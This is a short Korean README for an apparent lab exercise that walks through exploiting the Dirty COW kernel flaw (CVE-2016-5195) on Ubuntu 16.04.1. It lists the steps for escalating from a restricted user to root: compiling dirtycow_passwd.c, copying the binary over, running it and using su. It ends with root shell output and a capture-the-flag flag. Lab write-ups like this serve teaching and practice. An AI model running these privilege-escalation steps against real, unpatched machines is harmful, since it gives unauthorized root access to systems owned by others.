dirtycow-lab

Ubuntu 16.04.1에서 Dirty COW (CVE-2016-5195) 취약점 공격.

cat > README.md <<'EOF'

🐮 Dirty COW Exploit (CVE-2016-5195)

📌 설명

이 실습은 취약한 커널을 가진 Ubuntu Server 16.04.1 시스템에서 Dirty COW 취약점 공격을 시연합니다.
목표는 제한된 사용자(student)에서 root로 권한 상승하여 /root/flag.txt에 있는 플래그를 획득하는 것이었습니다.

🛠️ 수행 과정

1. 커널 확인: Linux 4.4.0-31-generic (취약).
2. 익스플로잇 컴파일: Docker 내 Kali에서 ubuntu:16.04 환경에서 dirtycow_passwd.c를 컴파일 → dirty 바이너리.
3. 전송: scp dirty student@<IP>:~/.
4. 실행 및 권한 상승: chmod +x ~/dirty && ~/dirty → su root (비밀번호 dirtyCowFun).
5. 플래그: cat /root/flag.txt → 4GEEKS{Y0u_G0t_R00t}.

✅ 결과

root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/student# cat /root/flag.txt
4GEEKS{Y0u_G0t_R00t}

획득한 플래그